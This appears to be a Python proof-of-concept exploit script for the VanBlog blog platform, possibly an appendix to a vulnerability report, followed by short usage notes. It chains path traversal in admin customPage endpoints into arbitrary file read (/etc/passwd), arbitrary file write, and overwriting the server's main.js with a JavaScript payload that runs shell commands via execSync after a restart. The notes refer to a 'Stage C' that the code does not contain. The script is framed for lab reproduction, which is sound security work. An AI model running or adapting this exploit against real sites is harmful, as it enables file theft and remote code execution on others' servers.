info(m): print(" [ .. ] " + m, flush=True) # ---------------------------------------------------------------- HTTP def multipart(field, filename, content, ctype): b = "----vbrce" + "".join(random.choices(string.ascii_letters + string.digits, k=16)) body = b"" body += ("--%s\r\n" % b).encode() body += ('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (field, filename)).encode() body += ("Content-Type: %s\r\n\r\n" % ctype).encode() body += content + b"\r\n" body += ("--%s--\r\n" % b).encode() return body, "multipart/form-data; boundary=" + b def req(cfg, method, path, token=None, json_body=None, body=None, headers=None): url = path if path.startswith("http") else cfg["base"] + path hdrs = dict(headers or {}) if token: hdrs["token"] = token data = None if json_body is not None: data = json.dumps(json_body).encode() hdrs.setdefault("Content-Type", "application/json") elif body is not None: data = body r = urllib.request.Request(url, data=data, headers=hdrs, method=method) try: with urllib.request.urlopen(r, timeout=cfg["timeout"]) as resp: return resp.status, dict(resp.headers), resp.read() except urllib.error.HTTPError as e: return e.code, dict(e.headers), e.read() except Exception as e: return 0, {}, str(e).encode() def jreq(cfg, method, path, token=None, json_body=None): st, hd, raw = req(cfg, method, path, token, json_body) try: return st, hd, json.loads(raw.decode("utf-8", "replace")) except Exception: return st, hd, {} # ---------------------------------------------------------------- primitives def read_file(cfg, token, abs_target): """A: GET /customPage/file path traversal - read any file.""" q = urllib.parse.quote(TRAVERSAL + abs_target.lstrip("/"), safe="") return req(cfg, "GET", "/api/admin/customPage/file?path=%2F&key=" + q, token) def read_file_alt(cfg, token, abs_target): """A, alternative form: traversal in path, file name in key.""" p = urllib.parse.quote("/".join(TRAVERSAL.rstrip("/").split("/")), safe="") k = urllib.parse.quote(os.path.basename(abs_target), safe="") return req(cfg, "GET", "/api/admin/customPage/file?path=" + p + "&key=" + k, token) def write_file(cfg, token, abs_target, content, filename="probe.txt"): """B: POST /customPage/upload path traversal - write any file.""" rel = TRAVERSAL + abs_target.lstrip("/") body, ct = multipart("file", filename, content, "text/plain") url = "/api/admin/customPage/upload?path=%2F&name=" + urllib.parse.quote(rel, safe="") return req(cfg, "POST", url, token, body=body, headers={"Content-Type": ct}), rel def rce_payload(mk, out_path, cmds): """Payload executed after the startup entry is overwritten: it runs the given commands inside the container and reports the output. The JS builds lines with String.fromCharCode(10) to avoid backslash escaping.""" lines = [] for c in cmds: label = c.replace("'", "") lines.append(" '%s: ' + run('%s')," % (label, c.replace("'", ""))) body = "\n".join(lines) js = ( "// injected via VanBlog path-traversal upload (%s)\n" "const fs = require('fs');\n" "const { execSync } = require('child_process');\n" "const NL = String.fromCharCode(10);\n" "const run = (cmd) => { try { return execSync(cmd + ' 2>&1').toString().trim(); }\n" " catch (e) { return 'ERR(' + cmd + '): ' + e.message; } };\n" "const out = [\n" "%s\n" "].join(NL);\n" "const mark = '%s uid=' + (typeof process.getuid === 'function' ? process.getuid() : '?')\n" " + ' ts=' + new Date().toISOString();\n" "try { fs.writeFileSync('%s', mark + NL + out); } catch (e) {}\n" "try { console.log('RCE-PROOF-EXECUTED ' + mark + NL + out); } catch (e) {}\n" "// restore normal service (child process) so the marker can be fetched over HTTP\n" "try { require('child_process').spawn('node', ['main.orig.js'], { cwd: '/app/server', stdio: 'inherit' }); } catch (e) {}\n" "setInterval(function(){}, 3600000);\n" ) % (mk, body, PAYLOAD_MARK, out_path) return js.encode() # ---------------------------------------------------------------- stage A def phase_a(cfg, token): hdr("Stage A - path traversal -> arbitrary file read (%s)" % cfg["read_target"]) st, hd, raw = read_file(cfg, token, cfg["read_target"]) data = raw.decode("utf-8", "replace") info("GET /api/admin/customPage/file?path=/&key=%s" % (TRAVERSAL + cfg["read_target"].lstrip("/"))) info("response: HTTP %s %s" % (st, data[:140].replace("\n", "\\n"))) if st != 200: st2, _, raw2 = read_file_alt(cfg, token, cfg["read_target"]) info("alternative form path=../..&key=<basename> -> HTTP %s" % st2) if st2 == 200: st, raw, data = st2, raw2, raw2.decode("utf-8", "replace") try: content = (json.loads(data).get("data") or "") except Exception: content = data checks = { "not 403 (not blocked by normalizeCustomPageRel)": st != 403, "HTTP 200": st == 200, "content looks like %s" % cfg["read_target"]: ("root:x:0:0" in content) if cfg["read_target"].endswith("passwd") else bool(content), } for k, v in checks.items(): (ok if v else bad)(k) if content: lines = [l for l in content.split("\n") if l.strip()] info("read %d lines, first 5:" % len(lines)) for l in lines[:5]: print(" " + l, flush=True) if cfg["also_write"]: print() info("extra: write probe (no restart, the instance stays usable)") mk = marker() target = "%s/write-%s.txt" % (cfg["proof_container"], mk) (st_w, _, raw_w), rel = write_file(cfg, token, target, ("VANBLOG-ARBITRARY-WRITE %s\n" % mk).encode()) info("POST .../upload?name=%s -> HTTP %s" % (rel, st_w)) got = None host = os.path.join(cfg["proof_host"], "write-%s.txt" % mk) if cfg["proof_host"] else "" if host: for _ in range(10): if os.path.exists(host): got = open(host, "rb").read() break time.sleep(0.5) v1 = st_w in (200, 201) (ok if v1 else bad)("extra: write returned 2xx") checks["extra: write returned 2xx"] = v1 if host: v2 = got is not None (ok if v2 else bad)("extra: written file is visible on the host") checks["extra: written file is visible on the host"] = v2 return all(checks.values()) # ---------------------------------------------------------------- stage B def phase_b(cfg, token): hdr("Stage B - overwrite the startup entry + restart -> RCE (executes id)") if not cfg["restart_cmd"]: bad("--restart-cmd is not set (only useful in the lab; a real target cannot be restarted remotely)") return False mk = marker() if cfg["proof_mode"] == "web": out_container = "%s/rce-%s.txt" % (cfg["web_proof_path"].rstrip("/"), mk) out_url = cfg["base"] + "/static/rce-%s.txt" % mk info("output mode: web (write %s, then read %s)" % (out_container, out_url)) else: if not cfg["proof_host"]: bad("host mode needs --proof-host (a host directory mounted at %s)" % cfg["proof_container"]) return False out_container = "%s/%s.txt" % (cfg["proof_container"].rstrip("/"), mk) out_url = os.path.join(cfg["proof_host"], "%s.txt" % mk) info("output mode: host (write %s, read %s)" % (out_container, out_url)) if cfg["proof_mode"] != "web" and os.path.exists(out_url): os.remove(out_url) # First read the original entry with the "arbitrary read" primitive, then back it up as # main.orig.js with the "arbitrary write" primitive, so the payload can bring the site if cfg["target_file"].endswith("/main.js"): bak = cfg["target_file"][:-len("main.js")] + "main.orig.js" def _looks_orig(t): return ("NestFactory" in t) or ("bootstrap" in t) or (len(t) > 2000) def _read(path): stx, _, rawx = read_file(cfg, token, path) try: return (json.loads(rawx.decode("utf-8", "replace")).get("data") or "") except Exception: return "" cur = _read(cfg["target_file"]) if _looks_orig(cur): (st_b, _, _), _rel = write_file(cfg, token, bak, cur.encode(), "main.orig.js") info("backed up the original entry -> %s (%d bytes, HTTP %s)" % (bak, len(cur), st_b)) else: existing = _read(bak) if _looks_orig(existing): info("current entry is not the original file (%d bytes), reusing the existing backup %s (%d bytes)" % (len(cur), bak, len(existing))) else: info("warning: neither the current entry nor the backup looks original; the site may not come back") payload = rce_payload(mk, out_container, cfg["exec_cmds"]) (st, _, raw), rel = write_file(cfg, token, cfg["target_file"], payload, "main.js") info("overwriting %s (%d bytes) -> HTTP %s" % (cfg["target_file"], len(payload), st)) if st not in (200, 201): bad("failed to write the payload: %s" % raw.decode("utf-8", "replace")[:120]) return False cmd = shlex.split(cfg["restart_cmd"], posix=False) info("running (non-blocking): %s" % " ".join(cmd)) try: subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) except Exception as e: bad("restart command failed: %r" % (e,)) return False info("waiting for the payload (up to %d seconds)..." % cfg["wait"]) got = None for _ in range(cfg["wait"] * 2): if cfg["proof_mode"] == "web": st2, _, raw2 = req(cfg, "GET", "/static/rce-%s.txt" % mk) if st2 == 200 and cfg["mark"] in raw2.decode("utf-8", "replace"): got = raw2.decode("utf-8", "replace") break else: if os.path.exists(out_url): got = open(out_url, "r", encoding="utf-8", errors="replace").read() break time.sleep(0.5) checks = { "payload written to the startup entry": True, "execution result received after restart": got is not None, "result comes from the payload": bool(got) and cfg["mark"] in got, } for k, v in checks.items(): (ok if v else bad)(k) if got: print() info("command output from inside the container:") for line in got.strip().split("\n"): print(" " + line, flush=True) if cfg["proof_mode"] == "web": info("result file URL: %s" % out_url) else: info("no result; check the container log: docker logs <container> --tail 30") return all(checks.values()) # ---------------------------------------------------------------- main def main(): ap = argparse.ArgumentParser(description="VanBlog arbitrary file read / write / RCE verification") ap.add_argument("--base", default=None) ap.add_argument("--admin-url", default=None) ap.add_argument("--token", default=None) ap.add_argument("--user", default=None) ap.add_argument("--pass", dest="password", default=None) ap.add_argument("--read-target", dest="read_target", default=None, help="file read in stage A") ap.add_argument("--also-write", dest="also_write", action="store_true", default=None, help="also do a write probe in stage A (no restart)") ap.add_argument("--phase-b", dest="phase_b", action="store_true", default=None, help="* run stage B: overwrite the startup entry + restart + verify (destructive)") ap.add_argument("--target-file", dest="target_file", default=None) ap.add_argument("--proof-host", dest="proof_host", default=None) ap.add_argument("--exec-cmd", dest="exec_cmds", action="append", default=None, help="command to execute inside the container; may be given multiple times") ap.add_argument("--proof-mode", dest="proof_mode", choices=["host", "web"], default=None, help="host=write into a host bind mount (lab); web=write /app/static and read back over HTTP (remote)") ap.add_argument("--proof-container", dest="proof_container", default=None) ap.add_argument("--web-proof-path", dest="web_proof_path", default=None) ap.add_argument("--restart-cmd", dest="restart_cmd", default=None) ap.add_argument("--wait", type=int, default=None) args = ap.parse_args() cfg = { "base": (args.base or BASE_URL or "").rstrip("/"), "token": args.token or TOKEN or "", "user": args.user or USER or "", "pass": args.password or PASS or os.environ.get("VANBLOG_PASS", ""), "read_target": args.read_target or READ_TARGET, "also_write": (ALSO_WRITE if args.also_write is None else args.also_write), "phase_b": (ENABLE_PHASE_B if args.phase_b is None else args.phase_b), "target_file": args.target_file or TARGET_FILE, "proof_host": (args.proof_host if args.proof_host is not None else PROOF_HOST).rstrip("\\/"), "exec_cmds": args.exec_cmds or EXEC_CMDS, "proof_mode": args.proof_mode or PROOF_MODE, "proof_container": (args.proof_container or PROOF_CONTAINER).rstrip("/"), "web_proof_path": (args.web_proof_path or WEB_PROOF_PATH).rstrip("/"), "restart_cmd": (args.restart_cmd if args.restart_cmd is not None else RESTART_CMD), "wait": args.wait if args.wait is not None else PROOF_WAIT, "mark": PAYLOAD_MARK, "timeout": TIMEOUT, } print("-" * 78, flush=True) print("effective configuration", flush=True) print(" BASE_URL = %s" % (cfg["base"] or "(not set)"), flush=True) print(" stage A read = %s" % cfg["read_target"], flush=True) print(" write probe = %s" % cfg["also_write"], flush=True) print(" stage B = %s %s" % (cfg["phase_b"], "<- DESTRUCTIVE" if cfg["phase_b"] else "(disabled by default)"), flush=True) print(" TARGET_FILE = %s" % cfg["target_file"], flush=True) print(" RESTART_CMD = %s" % (cfg["restart_cmd"] or "(not set)"), flush=True) print(" PROOF_MODE = %s" % cfg["proof_mode"], flush=True) print(" PROOF_HOST = %s" % (cfg["proof_host"] or "(not set)"), flush=True) print(" WEB_PROOF = %s" % cfg["web_proof_path"], flush=True) print("-" * 78, flush=True) if not cfg["base"]: bad("BASE_URL is not set. Pass --base, e.g. --base http://127.0.0.1:18095") return 3 hdr("pre-checks") st, _, j = jreq(cfg, "GET", "/api/public/meta") ver = ((j.get("data") or {}).get("version")) if isinstance(j, dict) else None info("version = %s" % ver) if st != 200: bad("target unreachable: %s" % cfg["base"]) return 3 if "master" in str(ver).lower(): info("note: master already fixed this (stage A should return 403). Use the v0.54.0 release image to reproduce.") if cfg["token"]: token = cfg["token"] info("authentication: TOKEN") elif cfg["user"] and cfg["pass"]: pw = cfg["pass"] if is_front_hash(cfg["pass"]) else encrypt_pwd(cfg["user"], cfg["pass"]) st2, _, j2 = jreq(cfg, "POST", "/api/admin/auth/login", json_body={"username": cfg["user"], "password": pw}) token = ((j2.get("data") or {}).get("token")) if isinstance(j2, dict) else None info("login %s -> HTTP %s token=%s" % (cfg["user"], st2, "yes" if token else "no")) else: bad("no credentials (--user/--pass or --token)") return 3 if not token: bad("authentication failed") return 3 _, _, j3 = jreq(cfg, "GET", "/api/admin/meta", token) u = ((j3.get("data") or {}).get("user")) or {} info("session: name=%s id=%s type=%s" % (u.get("name"), u.get("id"), u.get("type"))) if u.get("type") != "admin": bad("an administrator session is required (customPage endpoints are admin-only)") return 3 a = phase_a(cfg, token) print() if not cfg["phase_b"]: print("-" * 78, flush=True) print("Conclusion: arbitrary file read reproduced (VULNERABLE)" if a else "Conclusion: not reproduced (probably patched)", flush=True) print("Hint: add --phase-b to continue with 'write + restart -> RCE (executes id)' (destructive)", flush=True) print("-" * 78, flush=True) return 0 if a else 1 b = phase_b(cfg, token) print() print("-" * 78, flush=True) if a and b: print("Conclusion: arbitrary file read + arbitrary file write -> RCE reproduced (VULNERABLE, requires a restart)", flush=True) elif a: print("Conclusion: arbitrary file read reproduced; RCE stage not reproduced", flush=True) else: print("Conclusion: not reproduced", flush=True) print("-" * 78, flush=True) return 0 if (a and b) else 1 if __name__ == "__main__": sys.exit(main())

Notes on Appendix B

  • Stage C overwrites the target's /app/server/main.js. The script backs it up to main.orig.js and makes the service self-restore, but it is still destructive — run it only against a disposable instance.
  • The script only calls /api/admin/auth/login and /api/admin/customPage/* (read and write); it never deletes data.
  • The CONFIG block is left empty on purpose: pass --base, --user, --pass (or set VANBLOG_PASS) at run time.